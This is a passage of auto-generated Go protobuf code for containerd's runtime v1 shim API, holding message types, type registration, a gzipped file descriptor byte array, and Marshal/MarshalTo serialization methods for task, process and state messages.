m.Size() 800 | } 801 | func (m *WaitRequest) XXX_DiscardUnknown() { 802 | xxx_messageInfo_WaitRequest.DiscardUnknown(m) 803 | } 804 | 805 | var xxx_messageInfo_WaitRequest proto.InternalMessageInfo 806 | 807 | type WaitResponse struct { 808 | ExitStatus uint32 `protobuf:"varint,1,opt,name=exit_status,json=exitStatus,proto3" json:"exit_status,omitempty"` 809 | ExitedAt time.Time `protobuf:"bytes,2,opt,name=exited_at,json=exitedAt,proto3,stdtime" json:"exited_at"` 810 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 811 | XXX_unrecognized []byte `json:"-"` 812 | XXX_sizecache int32 `json:"-"` 813 | } 814 | 815 | func (m *WaitResponse) Reset() { *m = WaitResponse{} } 816 | func (*WaitResponse) ProtoMessage() {} 817 | func (*WaitResponse) Descriptor() ([]byte, []int) { 818 | return fileDescriptor_be1b2ef30ea3b8ef, []int{19} 819 | } 820 | func (m *WaitResponse) XXX_Unmarshal(b []byte) error { 821 | return m.Unmarshal(b) 822 | } 823 | func (m *WaitResponse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 824 | if deterministic { 825 | return xxx_messageInfo_WaitResponse.Marshal(b, m, deterministic) 826 | } else { 827 | b = b[:cap(b)] 828 | n, err := m.MarshalTo(b) 829 | if err != nil { 830 | return nil, err 831 | } 832 | return b[:n], nil 833 | } 834 | } 835 | func (m *WaitResponse) XXX_Merge(src proto.Message) { 836 | xxx_messageInfo_WaitResponse.Merge(m, src) 837 | } 838 | func (m *WaitResponse) XXX_Size() int { 839 | return m.Size() 840 | } 841 | func (m *WaitResponse) XXX_DiscardUnknown() { 842 | xxx_messageInfo_WaitResponse.DiscardUnknown(m) 843 | } 844 | 845 | var xxx_messageInfo_WaitResponse proto.InternalMessageInfo 846 | 847 | func init() { 848 | proto.RegisterType((*CreateTaskRequest)(nil), "containerd.runtime.linux.shim.v1.CreateTaskRequest") 849 | proto.RegisterType((*CreateTaskResponse)(nil), "containerd.runtime.linux.shim.v1.CreateTaskResponse") 850 | proto.RegisterType((*DeleteResponse)(nil), "containerd.runtime.linux.shim.v1.DeleteResponse") 851 | proto.RegisterType((*DeleteProcessRequest)(nil), "containerd.runtime.linux.shim.v1.DeleteProcessRequest") 852 | proto.RegisterType((*ExecProcessRequest)(nil), "containerd.runtime.linux.shim.v1.ExecProcessRequest") 853 | proto.RegisterType((*ExecProcessResponse)(nil), "containerd.runtime.linux.shim.v1.ExecProcessResponse") 854 | proto.RegisterType((*ResizePtyRequest)(nil), "containerd.runtime.linux.shim.v1.ResizePtyRequest") 855 | proto.RegisterType((*StateRequest)(nil), "containerd.runtime.linux.shim.v1.StateRequest") 856 | proto.RegisterType((*StateResponse)(nil), "containerd.runtime.linux.shim.v1.StateResponse") 857 | proto.RegisterType((*KillRequest)(nil), "containerd.runtime.linux.shim.v1.KillRequest") 858 | proto.RegisterType((*CloseIORequest)(nil), "containerd.runtime.linux.shim.v1.CloseIORequest") 859 | proto.RegisterType((*ListPidsRequest)(nil), "containerd.runtime.linux.shim.v1.ListPidsRequest") 860 | proto.RegisterType((*ListPidsResponse)(nil), "containerd.runtime.linux.shim.v1.ListPidsResponse") 861 | proto.RegisterType((*CheckpointTaskRequest)(nil), "containerd.runtime.linux.shim.v1.CheckpointTaskRequest") 862 | proto.RegisterType((*ShimInfoResponse)(nil), "containerd.runtime.linux.shim.v1.ShimInfoResponse") 863 | proto.RegisterType((*UpdateTaskRequest)(nil), "containerd.runtime.linux.shim.v1.UpdateTaskRequest") 864 | proto.RegisterType((*StartRequest)(nil), "containerd.runtime.linux.shim.v1.StartRequest") 865 | proto.RegisterType((*StartResponse)(nil), "containerd.runtime.linux.shim.v1.StartResponse") 866 | proto.RegisterType((*WaitRequest)(nil), "containerd.runtime.linux.shim.v1.WaitRequest") 867 | proto.RegisterType((*WaitResponse)(nil), "containerd.runtime.linux.shim.v1.WaitResponse") 868 | } 869 | 870 | func init() { 871 | proto.RegisterFile("github.com/containerd/containerd/runtime/v1/shim/v1/shim.proto", fileDescriptor_be1b2ef30ea3b8ef) 872 | } 873 | 874 | var fileDescriptor_be1b2ef30ea3b8ef = []byte{ 875 | // 1133 bytes of a gzipped FileDescriptorProto 876 | 0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0x9c, 0x57, 0x4f, 0x4f, 0x1b, 0x47, 877 | 0x14, 0x67, 0x17, 0xff, 0x7d, 0x8e, 0x29, 0x4c, 0x09, 0xdd, 0x38, 0x92, 0xb1, 0x56, 0x6a, 0x44, 878 | 0x55, 0x65, 0x5d, 0x4c, 0x95, 0xa4, 0xad, 0x84, 0x04, 0x24, 0xaa, 0x50, 0x1b, 0x05, 0x2d, 0xa4, 879 | 0x89, 0x5a, 0x55, 0x68, 0xf1, 0x0e, 0xf6, 0x08, 0x7b, 0x67, 0xb3, 0x33, 0x4b, 0xa1, 0xa7, 0x9e, 880 | 0x7a, 0xee, 0xc7, 0xe9, 0x47, 0xe0, 0x90, 0x43, 0x8f, 0x3d, 0xa5, 0x0d, 0xf7, 0x7e, 0x87, 0x6a, 881 | 0xfe, 0x18, 0xaf, 0x6d, 0x36, 0xbb, 0x70, 0xc1, 0xfb, 0x66, 0x7e, 0x6f, 0xe6, 0xcd, 0xfb, 0xfd, 882 | 0xe6, 0xbd, 0x01, 0x36, 0x7b, 0x84, 0xf7, 0xe3, 0x23, 0xa7, 0x4b, 0x87, 0xed, 0x2e, 0x0d, 0xb8, 883 | 0x47, 0x02, 0x1c, 0xf9, 0xc9, 0xcf, 0x28, 0x0e, 0x38, 0x19, 0xe2, 0xf6, 0xe9, 0x7a, 0x9b, 0xf5, 884 | 0xc9, 0x70, 0xf4, 0xeb, 0x84, 0x11, 0xe5, 0x14, 0xb5, 0xc6, 0x48, 0x47, 0x23, 0x9d, 0x01, 0x09, 885 | 0xe2, 0x33, 0x47, 0x82, 0x4e, 0xd7, 0x1b, 0xf7, 0x7a, 0x94, 0xf6, 0x06, 0xb8, 0x2d, 0xf1, 0x47, 886 | 0xf1, 0x71, 0xdb, 0x0b, 0xce, 0x95, 0x73, 0xe3, 0xfe, 0xf4, 0x14, 0x1e, 0x86, 0x7c, 0x34, 0xb9, 887 | 0xdc, 0xa3, 0x3d, 0x2a, 0x3f, 0xdb, 0xe2, 0x4b, 0x8f, 0xae, 0x4e, 0xbb, 0x88, 0x1d, 0x19, 0xf7, 888 | 0x86, 0xa1, 0x06, 0x3c, 0xca, 0x3c, 0x90, 0x17, 0x92, 0x36, 0x3f, 0x0f, 0x31, 0x6b, 0x0f, 0x69, 889 | 0x1c, 0x70, 0xed, 0xf7, 0xf5, 0x0d, 0xfc, 0xb8, 0xc7, 0x4e, 0xe4, 0x1f, 0xe5, 0x6b, 0xff, 0x67, 890 | 0xc2, 0xd2, 0x4e, 0x84, 0x3d, 0x8e, 0x0f, 0x3c, 0x76, 0xe2, 0xe2, 0x37, 0x31, 0x66, 0x1c, 0xad, 891 | 0x80, 0x49, 0x7c, 0xcb, 0x68, 0x19, 0x6b, 0xd5, 0xed, 0xd2, 0xe5, 0xbb, 0x55, 0x73, 0xf7, 0xa9, 892 | 0x6b, 0x12, 0x1f, 0xad, 0x40, 0xe9, 0x28, 0x0e, 0xfc, 0x01, 0xb6, 0x4c, 0x31, 0xe7, 0x6a, 0x0b, 893 | 0x59, 0x50, 0xd6, 0x19, 0xb4, 0xe6, 0xe5, 0xc4, 0xc8, 0x44, 0x6d, 0x28, 0x45, 0x94, 0xf2, 0x63, 894 | 0x66, 0x15, 0x5a, 0xf3, 0x6b, 0xb5, 0xce, 0x27, 0x4e, 0x22, 0xeb, 0x32, 0x24, 0xe7, 0xb9, 0x38, 895 | 0x8a, 0xab, 0x61, 0xa8, 0x01, 0x15, 0x8e, 0xa3, 0x21, 0x09, 0xbc, 0x81, 0x55, 0x6c, 0x19, 0x6b, 896 | 0x15, 0xf7, 0xca, 0x46, 0xcb, 0x50, 0x64, 0xdc, 0x27, 0x81, 0x55, 0x92, 0x9b, 0x28, 0x43, 0x04, 897 | 0xc5, 0xb8, 0x4f, 0x63, 0x6e, 0x95, 0x55, 0x50, 0xca, 0xd2, 0xe3, 0x38, 0x8a, 0xac, 0xca, 0xd5, 898 | 0x38, 0x8e, 0x22, 0xd4, 0x04, 0xe8, 0xf6, 0x71, 0xf7, 0x24, 0xa4, 0x24, 0xe0, 0x56, 0x55, 0xce, 899 | 0x25, 0x46, 0xd0, 0xe7, 0xb0, 0x14, 0x7a, 0x11, 0x0e, 0xf8, 0x61, 0x02, 0x06, 0x12, 0xb6, 0xa8, 900 | 0x26, 0x76, 0xc6, 0x60, 0x07, 0xca, 0x34, 0xe4, 0x84, 0x06, 0xcc, 0xaa, 0xb5, 0x8c, 0xb5, 0x5a, 901 | 0x67, 0xd9, 0x51, 0x34, 0x3b, 0x23, 0x9a, 0x9d, 0xad, 0xe0, 0xdc, 0x1d, 0x81, 0xec, 0x07, 0x80, 902 | 0x92, 0xe9, 0x66, 0x21, 0x0d, 0x18, 0x46, 0x8b, 0x30, 0x1f, 0xea, 0x84, 0xd7, 0x5d, 0xf1, 0x69, 903 | 0xff, 0x6e, 0xc0, 0xc2, 0x53, 0x3c, 0xc0, 0x1c, 0xa7, 0x83, 0xd0, 0x2a, 0xd4, 0xf0, 0x19, 0xe1, 904 | 0x87, 0x8c, 0x7b, 0x3c, 0x66, 0x92, 0x93, 0xba, 0x0b, 0x62, 0x68, 0x5f, 0x8e, 0xa0, 0x2d, 0xa8, 905 | 0x0a, 0x0b, 0xfb, 0x87, 0x1e, 0x97, 0xcc, 0xd4, 0x3a, 0x8d, 0x99, 0xf8, 0x0e, 0x46, 0x32, 0xdc, 906 | 0xae, 0x5c, 0xbc, 0x5b, 0x9d, 0xfb, 0xe3, 0x9f, 0x55, 0xc3, 0xad, 0x28, 0xb7, 0x2d, 0x6e, 0x3b, 907 | 0xb0, 0xac, 0xe2, 0xd8, 0x8b, 0x68, 0x17, 0x33, 0x96, 0x21, 0x11, 0xfb, 0x4f, 0x03, 0xd0, 0xb3, 908 | 0x33, 0xdc, 0xcd, 0x07, 0x9f, 0xa0, 0xdb, 0x4c, 0xa3, 0x7b, 0xfe, 0x7a, 0xba, 0x0b, 0x29, 0x74, 909 | 0x17, 0x27, 0xe8, 0x5e, 0x83, 0x02, 0x0b, 0x71, 0x57, 0x6a, 0x26, 0x8d, 0x1e, 0x89, 0xb0, 0xef, 910 | 0xc2, 0xc7, 0x13, 0x91, 0xab, 0xbc, 0xdb, 0xaf, 0x61, 0xd1, 0xc5, 0x8c, 0xfc, 0x8a, 0xf7, 0xf8, 911 | 0x79, 0xd6, 0x71, 0x96, 0xa1, 0xf8, 0x0b, 0xf1, 0x79, 0x5f, 0x73, 0xa1, 0x0c, 0x11, 0x5a, 0x1f, 912 | 0x93, 0x5e, 0x5f, 0x71, 0x50, 0x77, 0xb5, 0x65, 0x3f, 0x80, 0x3b, 0x82, 0x28, 0x9c, 0x95, 0xd3, 913 | 0xb7, 0x26, 0xd4, 0x35, 0x50, 0x6b, 0xe1, 0xa6, 0x17, 0x54, 0x6b, 0x67, 0x7e, 0xac, 0x9d, 0x0d, 914 | 0x91, 0x2e, 0x29, 0x1b, 0x91, 0xc6, 0x85, 0xce, 0xfd, 0xe4, 0xc5, 0x3c, 0x5d, 0xd7, 0x77, 0x53, 915 | 0xe9, 0xc8, 0xd5, 0xd0, 0x31, 0x23, 0xc5, 0xeb, 0x19, 0x29, 0xa5, 0x30, 0x52, 0x9e, 0x60, 0x24, 916 | 0xc9, 0x79, 0x65, 0x8a, 0xf3, 0x29, 0x49, 0x57, 0x3f, 0x2c, 0x69, 0xb8, 0x95, 0xa4, 0x5f, 0x40, 917 | 0xed, 0x3b, 0x32, 0x18, 0xe4, 0x28, 0x76, 0x8c, 0xf4, 0x46, 0xc2, 0xac, 0xbb, 0xda, 0x12, 0xb9, 918 | 0xf4, 0x06, 0x03, 0x99, 0xcb, 0x8a, 0x2b, 0x3e, 0xed, 0x4d, 0x58, 0xd8, 0x19, 0x50, 0x86, 0x77, 919 | 0x5f, 0xe4, 0xd0, 0x87, 0x4a, 0xa0, 0xd2, 0xba, 0x32, 0xec, 0xcf, 0xe0, 0xa3, 0xef, 0x09, 0xe3, 920 | 0x7b, 0xc4, 0xcf, 0xbc, 0x5e, 0x2e, 0x2c, 0x8e, 0xa1, 0x5a, 0x0c, 0x9b, 0x50, 0x0d, 0x95, 0x66, 921 | 0x31, 0xb3, 0x0c, 0x59, 0x66, 0x5b, 0xd7, 0xb2, 0xa9, 0x95, 0xbd, 0x1b, 0x1c, 0x53, 0x77, 0xec, 922 | 0x62, 0xff, 0x04, 0x77, 0xc7, 0x15, 0x2d, 0xd9, 0x06, 0x10, 0x14, 0x42, 0x8f, 0xf7, 0x55, 0x18, 923 | 0xae, 0xfc, 0x4e, 0x16, 0x3c, 0x33, 0x4f, 0xc1, 0x7b, 0x08, 0x8b, 0xfb, 0x7d, 0x32, 0x94, 0x7b, 924 | 0x8e, 0x02, 0xbe, 0x07, 0x15, 0xd1, 0x62, 0x0f, 0xc7, 0xe5, 0xac, 0x2c, 0xec, 0x3d, 0xe2, 0xdb, 925 | 0xdf, 0xc2, 0xd2, 0xcb, 0xd0, 0x9f, 0x6a, 0x47, 0x1d, 0xa8, 0x46, 0x98, 0xd1, 0x38, 0xea, 0xca, 926 | 0x03, 0xa6, 0xef, 0x3a, 0x86, 0xe9, 0xbb, 0x15, 0xf1, 0xac, 0x84, 0x7e, 0x25, 0xaf, 0x96, 0xc0, 927 | 0x65, 0x5c, 0x2d, 0x7d, 0x85, 0xcc, 0x71, 0x8d, 0xfe, 0x14, 0x6a, 0xaf, 0x3c, 0x92, 0xb9, 0x43, 928 | 0x04, 0x77, 0x14, 0x4c, 0x6f, 0x30, 0x25, 0x71, 0xe3, 0xc3, 0x12, 0x37, 0x6f, 0x23, 0xf1, 0xce, 929 | 0xdb, 0x1a, 0x14, 0x44, 0xda, 0x51, 0x1f, 0x8a, 0xb2, 0x72, 0x20, 0xc7, 0xc9, 0x7a, 0xee, 0x38, 930 | 0xc9, 0x5a, 0xd4, 0x68, 0xe7, 0xc6, 0xeb, 0x63, 0x31, 0x28, 0xa9, 0xce, 0x86, 0x36, 0xb2, 0x5d, 931 | 0x67, 0x9e, 0x1c, 0x8d, 0x2f, 0x6f, 0xe6, 0xa4, 0x37, 0x55, 0xc7, 0x8b, 0x78, 0xce, 0xe3, 0x5d, 932 | 0xc9, 0x21, 0xe7, 0xf1, 0x12, 0xb2, 0x70, 0xa1, 0xa4, 0xfa, 0x20, 0x5a, 0x99, 0xe1, 0xe2, 0x99, 933 | 0x78, 0xfb, 0x35, 0xbe, 0xc8, 0x5e, 0x72, 0xaa, 0xa3, 0x9f, 0x43, 0x7d, 0xa2, 0xb7, 0xa2, 0x47, 934 | 0x79, 0x97, 0x98, 0xec, 0xae, 0xb7, 0xd8, 0xfa, 0x0d, 0x54, 0x46, 0x75, 0x04, 0xad, 0x67, 0x7b, 935 | 0x4f, 0x95, 0xa7, 0x46, 0xe7, 0x26, 0x2e, 0x7a, 0xcb, 0xc7, 0x50, 0xdc, 0xf3, 0x62, 0x96, 0x9e, 936 | 0xc0, 0x94, 0x71, 0xf4, 0x04, 0x4a, 0x2e, 0x66, 0xf1, 0xf0, 0xe6, 0x9e, 0x3f, 0x03, 0x24, 0xde, 937 | 0x6a, 0x8f, 0x73, 0x48, 0xec, 0xba, 0x3a, 0x98, 0xba, 0xfc, 0x73, 0x28, 0x88, 0x46, 0x82, 0x1e, 938 | 0x66, 0x2f, 0x9c, 0x68, 0x38, 0xa9, 0xcb, 0x1d, 0x40, 0x41, 0xbc, 0x3f, 0x50, 0x8e, 0xab, 0x30, 939 | 0xfb, 0xc2, 0x4a, 0x5d, 0xf5, 0x15, 0x54, 0xaf, 0x9e, 0x2f, 0x28, 0x07, 0x6f, 0xd3, 0x6f, 0x9d, 940 | 0xd4, 0x85, 0xf7, 0xa1, 0xac, 0xbb, 0x1e, 0xca, 0xa1, 0xbf, 0xc9, 0x06, 0x99, 0xba, 0xe8, 0x0f, 941 | 0x50, 0x19, 0xb5, 0x8b, 0x54, 0xb6, 0x73, 0x1c, 0x62, 0xa6, 0xe5, 0xbc, 0x84, 0x92, 0xea, 0x2b, 942 | 0x79, 0xaa, 0xd3, 0x4c, 0x07, 0x4a, 0x0d, 0x17, 0x43, 0x41, 0xd4, 0xf6, 0x3c, 0x0a, 0x48, 0xb4, 943 | 0x8a, 0x86, 0x93, 0x17, 0xae, 0xa2, 0xdf, 0x76, 0x2f, 0xde, 0x37, 0xe7, 0xfe, 0x7e, 0xdf, 0x9c, 944 | 0xfb, 0xed, 0xb2, 0x69, 0x5c, 0x5c, 0x36, 0x8d, 0xbf, 0x2e, 0x9b, 0xc6, 0xbf, 0x97, 0x4d, 0xe3, 945 | 0xc7, 0x27, 0xb7, 0xf8, 0x27, 0xf8, 0x1b, 0xf1, 0xfb, 0xda, 0x3c, 0x2a, 0xc9, 0xc3, 0x6c, 0xfc, 946 | 0x1f, 0x00, 0x00, 0xff, 0xff, 0x64, 0x52, 0x86, 0xc0, 0x49, 0x0f, 0x00, 0x00, 947 | } 948 | 949 | func (m *CreateTaskRequest) Marshal() (dAtA []byte, err error) { 950 | size := m.Size() 951 | dAtA = make([]byte, size) 952 | n, err := m.MarshalTo(dAtA) 953 | if err != nil { 954 | return nil, err 955 | } 956 | return dAtA[:n], nil 957 | } 958 | 959 | func (m *CreateTaskRequest) MarshalTo(dAtA []byte) (int, error) { 960 | var i int 961 | _ = i 962 | var l int 963 | _ = l 964 | if len(m.ID) > 0 { 965 | dAtA[i] = 0xa 966 | i++ 967 | i = encodeVarintShim(dAtA, i, uint64(len(m.ID))) 968 | i += copy(dAtA[i:], m.ID) 969 | } 970 | if len(m.Bundle) > 0 { 971 | dAtA[i] = 0x12 972 | i++ 973 | i = encodeVarintShim(dAtA, i, uint64(len(m.Bundle))) 974 | i += copy(dAtA[i:], m.Bundle) 975 | } 976 | if len(m.Runtime) > 0 { 977 | dAtA[i] = 0x1a 978 | i++ 979 | i = encodeVarintShim(dAtA, i, uint64(len(m.Runtime))) 980 | i += copy(dAtA[i:], m.Runtime) 981 | } 982 | if len(m.Rootfs) > 0 { 983 | for _, msg := range m.Rootfs { 984 | dAtA[i] = 0x22 985 | i++ 986 | i = encodeVarintShim(dAtA, i, uint64(msg.Size())) 987 | n, err := msg.MarshalTo(dAtA[i:]) 988 | if err != nil { 989 | return 0, err 990 | } 991 | i += n 992 | } 993 | } 994 | if m.Terminal { 995 | dAtA[i] = 0x28 996 | i++ 997 | if m.Terminal { 998 | dAtA[i] = 1 999 | } else { 1000 | dAtA[i] = 0 1001 | } 1002 | i++ 1003 | } 1004 | if len(m.Stdin) > 0 { 1005 | dAtA[i] = 0x32 1006 | i++ 1007 | i = encodeVarintShim(dAtA, i, uint64(len(m.Stdin))) 1008 | i += copy(dAtA[i:], m.Stdin) 1009 | } 1010 | if len(m.Stdout) > 0 { 1011 | dAtA[i] = 0x3a 1012 | i++ 1013 | i = encodeVarintShim(dAtA, i, uint64(len(m.Stdout))) 1014 | i += copy(dAtA[i:], m.Stdout) 1015 | } 1016 | if len(m.Stderr) > 0 { 1017 | dAtA[i] = 0x42 1018 | i++ 1019 | i = encodeVarintShim(dAtA, i, uint64(len(m.Stderr))) 1020 | i += copy(dAtA[i:], m.Stderr) 1021 | } 1022 | if len(m.Checkpoint) > 0 { 1023 | dAtA[i] = 0x4a 1024 | i++ 1025 | i = encodeVarintShim(dAtA, i, uint64(len(m.Checkpoint))) 1026 | i += copy(dAtA[i:], m.Checkpoint) 1027 | } 1028 | if len(m.ParentCheckpoint) > 0 { 1029 | dAtA[i] = 0x52 1030 | i++ 1031 | i = encodeVarintShim(dAtA, i, uint64(len(m.ParentCheckpoint))) 1032 | i += copy(dAtA[i:], m.ParentCheckpoint) 1033 | } 1034 | if m.Options != nil { 1035 | dAtA[i] = 0x5a 1036 | i++ 1037 | i = encodeVarintShim(dAtA, i, uint64(m.Options.Size())) 1038 | n1, err := m.Options.MarshalTo(dAtA[i:]) 1039 | if err != nil { 1040 | return 0, err 1041 | } 1042 | i += n1 1043 | } 1044 | if m.XXX_unrecognized != nil { 1045 | i += copy(dAtA[i:], m.XXX_unrecognized) 1046 | } 1047 | return i, nil 1048 | } 1049 | 1050 | func (m *CreateTaskResponse) Marshal() (dAtA []byte, err error) { 1051 | size := m.Size() 1052 | dAtA = make([]byte, size) 1053 | n, err := m.MarshalTo(dAtA) 1054 | if err != nil { 1055 | return nil, err 1056 | } 1057 | return dAtA[:n], nil 1058 | } 1059 | 1060 | func (m *CreateTaskResponse) MarshalTo(dAtA []byte) (int, error) { 1061 | var i int 1062 | _ = i 1063 | var l int 1064 | _ = l 1065 | if m.Pid != 0 { 1066 | dAtA[i] = 0x8 1067 | i++ 1068 | i = encodeVarintShim(dAtA, i, uint64(m.Pid)) 1069 | } 1070 | if m.XXX_unrecognized != nil { 1071 | i += copy(dAtA[i:], m.XXX_unrecognized) 1072 | } 1073 | return i, nil 1074 | } 1075 | 1076 | func (m *DeleteResponse) Marshal() (dAtA []byte, err error) { 1077 | size := m.Size() 1078 | dAtA = make([]byte, size) 1079 | n, err := m.MarshalTo(dAtA) 1080 | if err != nil { 1081 | return nil, err 1082 | } 1083 | return dAtA[:n], nil 1084 | } 1085 | 1086 | func (m *DeleteResponse) MarshalTo(dAtA []byte) (int, error) { 1087 | var i int 1088 | _ = i 1089 | var l int 1090 | _ = l 1091 | if m.Pid != 0 { 1092 | dAtA[i] = 0x8 1093 | i++ 1094 | i = encodeVarintShim(dAtA, i, uint64(m.Pid)) 1095 | } 1096 | if m.ExitStatus != 0 { 1097 | dAtA[i] = 0x10 1098 | i++ 1099 | i = encodeVarintShim(dAtA, i, uint64(m.ExitStatus)) 1100 | } 1101 | dAtA[i] = 0x1a 1102 | i++ 1103 | i = encodeVarintShim(dAtA, i, uint64(github_com_gogo_protobuf_types.SizeOfStdTime(m.ExitedAt))) 1104 | n2, err := github_com_gogo_protobuf_types.StdTimeMarshalTo(m.ExitedAt, dAtA[i:]) 1105 | if err != nil { 1106 | return 0, err 1107 | } 1108 | i += n2 1109 | if m.XXX_unrecognized != nil { 1110 | i += copy(dAtA[i:], m.XXX_unrecognized) 1111 | } 1112 | return i, nil 1113 | } 1114 | 1115 | func (m *DeleteProcessRequest) Marshal() (dAtA []byte, err error) { 1116 | size := m.Size() 1117 | dAtA = make([]byte, size) 1118 | n, err := m.MarshalTo(dAtA) 1119 | if err != nil { 1120 | return nil, err 1121 | } 1122 | return dAtA[:n], nil 1123 | } 1124 | 1125 | func (m *DeleteProcessRequest) MarshalTo(dAtA []byte) (int, error) { 1126 | var i int 1127 | _ = i 1128 | var l int 1129 | _ = l 1130 | if len(m.ID) > 0 { 1131 | dAtA[i] = 0xa 1132 | i++ 1133 | i = encodeVarintShim(dAtA, i, uint64(len(m.ID))) 1134 | i += copy(dAtA[i:], m.ID) 1135 | } 1136 | if m.XXX_unrecognized != nil { 1137 | i += copy(dAtA[i:], m.XXX_unrecognized) 1138 | } 1139 | return i, nil 1140 | } 1141 | 1142 | func (m *ExecProcessRequest) Marshal() (dAtA []byte, err error) { 1143 | size := m.Size() 1144 | dAtA = make([]byte, size) 1145 | n, err := m.MarshalTo(dAtA) 1146 | if err != nil { 1147 | return nil, err 1148 | } 1149 | return dAtA[:n], nil 1150 | } 1151 | 1152 | func (m *ExecProcessRequest) MarshalTo(dAtA []byte) (int, error) { 1153 | var i int 1154 | _ = i 1155 | var l int 1156 | _ = l 1157 | if len(m.ID) > 0 { 1158 | dAtA[i] = 0xa 1159 | i++ 1160 | i = encodeVarintShim(dAtA, i, uint64(len(m.ID))) 1161 | i += copy(dAtA[i:], m.ID) 1162 | } 1163 | if m.Terminal { 1164 | dAtA[i] = 0x10 1165 | i++ 1166 | if m.Terminal { 1167 | dAtA[i] = 1 1168 | } else { 1169 | dAtA[i] = 0 1170 | } 1171 | i++ 1172 | } 1173 | if len(m.Stdin) > 0 { 1174 | dAtA[i] = 0x1a 1175 | i++ 1176 | i = encodeVarintShim(dAtA, i, uint64(len(m.Stdin))) 1177 | i += copy(dAtA[i:], m.Stdin) 1178 | } 1179 | if len(m.Stdout) > 0 { 1180 | dAtA[i] = 0x22 1181 | i++ 1182 | i = encodeVarintShim(dAtA, i, uint64(len(m.Stdout))) 1183 | i += copy(dAtA[i:], m.Stdout) 1184 | } 1185 | if len(m.Stderr) > 0 { 1186 | dAtA[i] = 0x2a 1187 | i++ 1188 | i = encodeVarintShim(dAtA, i, uint64(len(m.Stderr))) 1189 | i += copy(dAtA[i:], m.Stderr) 1190 | } 1191 | if m.Spec != nil { 1192 | dAtA[i] = 0x32 1193 | i++ 1194 | i = encodeVarintShim(dAtA, i, uint64(m.Spec.Size())) 1195 | n3, err := m.Spec.MarshalTo(dAtA[i:]) 1196 | if err != nil { 1197 | return 0, err 1198 | } 1199 | i += n3 1200 | } 1201 | if m.XXX_unrecognized != nil { 1202 | i += copy(dAtA[i:], m.XXX_unrecognized) 1203 | } 1204 | return i, nil 1205 | } 1206 | 1207 | func (m *ExecProcessResponse) Marshal() (dAtA []byte, err error) { 1208 | size := m.Size() 1209 | dAtA = make([]byte, size) 1210 | n, err := m.MarshalTo(dAtA) 1211 | if err != nil { 1212 | return nil, err 1213 | } 1214 | return dAtA[:n], nil 1215 | } 1216 | 1217 | func (m *ExecProcessResponse) MarshalTo(dAtA []byte) (int, error) { 1218 | var i int 1219 | _ = i 1220 | var l int 1221 | _ = l 1222 | if m.XXX_unrecognized != nil { 1223 | i += copy(dAtA[i:], m.XXX_unrecognized) 1224 | } 1225 | return i, nil 1226 | } 1227 | 1228 | func (m *ResizePtyRequest) Marshal() (dAtA []byte, err error) { 1229 | size := m.Size() 1230 | dAtA = make([]byte, size) 1231 | n, err := m.MarshalTo(dAtA) 1232 | if err != nil { 1233 | return nil, err 1234 | } 1235 | return dAtA[:n], nil 1236 | } 1237 | 1238 | func (m *ResizePtyRequest) MarshalTo(dAtA []byte) (int, error) { 1239 | var i int 1240 | _ = i 1241 | var l int 1242 | _ = l 1243 | if len(m.ID) > 0 { 1244 | dAtA[i] = 0xa 1245 | i++ 1246 | i = encodeVarintShim(dAtA, i, uint64(len(m.ID))) 1247 | i += copy(dAtA[i:], m.ID) 1248 | } 1249 | if m.Width != 0 { 1250 | dAtA[i] = 0x10 1251 | i++ 1252 | i = encodeVarintShim(dAtA, i, uint64(m.Width)) 1253 | } 1254 | if m.Height != 0 { 1255 | dAtA[i] = 0x18 1256 | i++ 1257 | i = encodeVarintShim(dAtA, i, uint64(m.Height)) 1258 | } 1259 | if m.XXX_unrecognized != nil { 1260 | i += copy(dAtA[i:], m.XXX_unrecognized) 1261 | } 1262 | return i, nil 1263 | } 1264 | 1265 | func (m *StateRequest) Marshal() (dAtA []byte, err error) { 1266 | size := m.Size() 1267 | dAtA = make([]byte, size) 1268 | n, err := m.MarshalTo(dAtA) 1269 | if err != nil { 1270 | return nil, err 1271 | } 1272 | return dAtA[:n], nil 1273 | } 1274 | 1275 | func (m *StateRequest) MarshalTo(dAtA []byte) (int, error) { 1276 | var i int 1277 | _ = i 1278 | var l int 1279 | _ = l 1280 | if len(m.ID) > 0 { 1281 | dAtA[i] = 0xa 1282 | i++ 1283 | i = encodeVarintShim(dAtA, i, uint64(len(m.ID))) 1284 | i += copy(dAtA[i:], m.ID) 1285 | } 1286 | if m.XXX_unrecognized != nil { 1287 | i += copy(dAtA[i:], m.XXX_unrecognized) 1288 | } 1289 | return i, nil 1290 | } 1291 | 1292 | func (m *StateResponse) Marshal() (dAtA []byte, err error) { 1293 | size := m.Size() 1294 | dAtA = make([]byte, size) 1295 | n, err := m.MarshalTo(dAtA) 1296 | if err != nil { 1297 | return nil, err 1298 | } 1299 | return dAtA[:n], nil 1300 | } 1301 | 1302 | func (m *StateResponse) MarshalTo(dAtA []byte) (int, error) { 1303 | var i int 1304 | _ = i 1305 | var l int 1306 | _ = l 1307 | if len(m.ID) > 0 { 1308 | dAtA[i] = 0xa 1309 | i++ 1310 | i = encodeVarintShim(dAtA, i, uint64(len(m.ID))) 1311 | i += copy(dAtA[i:], m.ID) 1312 | } 1313 | if len(m.Bundle) > 0 { 1314 | dAtA[i] = 0x12 1315 | i++ 1316 | i = encodeVarintShim(dAtA, i, uint64(len(m.Bundle))) 1317 | i += copy(dAtA[i:], m.Bundle) 1318 | } 1319 | if m.Pid != 0 { 1320 | dAtA[i] = 0x18 1321 | i++ 1322 | i = encodeVarintShim(dAtA, i, uint64(m.Pid)) 1323 | } 1324 | if m.Status != 0 { 1325 | dAtA[i] = 0x20 1326 | i++ 1327 | i = encodeVarintShim(dAtA, i, uint64(m.Status)) 1328 | } 1329 | if len(m.Stdin) > 0 { 1330 | dAtA[i] = 0x2a 1331 | i++ 1332 | i = encodeVarintShim(dAtA, i, uint64(len(m.Stdin))) 1333 | i += copy(dAtA[i:], m.Stdin) 1334 | } 1335 | if len(m.Stdout) > 0 { 1336 | dAtA[i] = 0x32 1337 | i++ 1338 | i = encodeVarintShim(dAtA, i, uint64(len(m.Stdout))) 1339 | i += copy(dAtA[i:], m.Stdout) 1340 | } 1341 | if len(m.Stderr) > 0 { 1342 | dAtA[i] = 0x3a 1343 | i++ 1344 | i = encodeVarintShim(dAtA, i, uint64(len(m.Stderr))) 1345 | i += copy(dAtA[i:], m.Stderr) 1346 | } 1347 | if m.Terminal { 1348 | dAtA[i] = 0x40 1349 | i++ 1350 | if m.Terminal { 1351 | dAtA[i] = 1 